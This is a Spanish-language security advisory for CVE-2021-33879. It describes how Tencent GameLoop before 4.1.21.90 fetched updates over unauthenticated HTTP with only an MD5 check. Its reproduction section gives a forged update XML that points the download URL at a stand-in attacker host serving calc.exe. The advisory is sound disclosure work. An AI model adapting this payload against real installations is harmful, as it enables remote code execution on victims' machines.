
MITM de actualización de GameLoop
CVEID: CVE-2021-33879
Nombre de los productos afectados y versiones: GameLoop (todas las versiones anteriores a 4.1.21.90)
Tipo de vulnerabilidad: CWE-494: Descarga de código sin verificación de integridad
Resumen
GameLoop es un emulador de Android desarrollado por Tencent. Dispone de un mecanismo de actualización que no está cifrado ni autenticado (salvo por hashes MD5 que, en este exploit, pueden ser controlados por el atacante), lo que permite a un atacante en posición MITM interceptar y enviar sus propios paquetes de actualización, que serán ejecutados en la máquina de la víctima.
Descripción
Tencent GameLoop anterior a 4.1.21.90 descargaba las actualizaciones a través de una conexión HTTP insegura. Un atacante malicioso en posición MITM podía falsificar el contenido de un documento XML que describe un paquete de actualización, reemplazando una URL de descarga por otra que apuntara a un ejecutable arbitrario de Windows. Dado que la única verificación de integridad era la comparación del checksum MD5 del archivo descargado con el contenido en el documento XML, el ejecutable descargado se ejecutaba entonces en la máquina de la víctima.
Reproducción
<?xml version="1.0" encoding="utf-8"?>
<UpdateConfig>
<GlobalConfig>
<Item name="UpdateEnable" Value="1" />
</GlobalConfig>
<UpdatePolicy>
<PolicyItem id="1" Enable="1" AutoUpdateRate="1" ManualUpdateRate="100" MatchUpdateOperation="2" Weight="4">
<Condition Method="Or">
<MatchSupplyId Type="market" MatchResult="0" Start="3.10.199.100" End="4.99.999.999" />
</Condition>
</PolicyItem>
</UpdatePolicy>
<UpdateOperation>
<OperItem id="2" inherit="0" Desc="This is a malicious update" Title="Malicious update" text="I could serve you ransomware but I'll just spawn calc">
<Item Type="market" url="http://attacker.local/calc.exe" md5="c4cb4fdf6369dd1342d2666171866ce5" version="5.10.199.100" filesize="32768" />
</OperItem>
</UpdateOperation>
</UpdateConfig>


Remedio
Instalar una versión más reciente de GameLoop.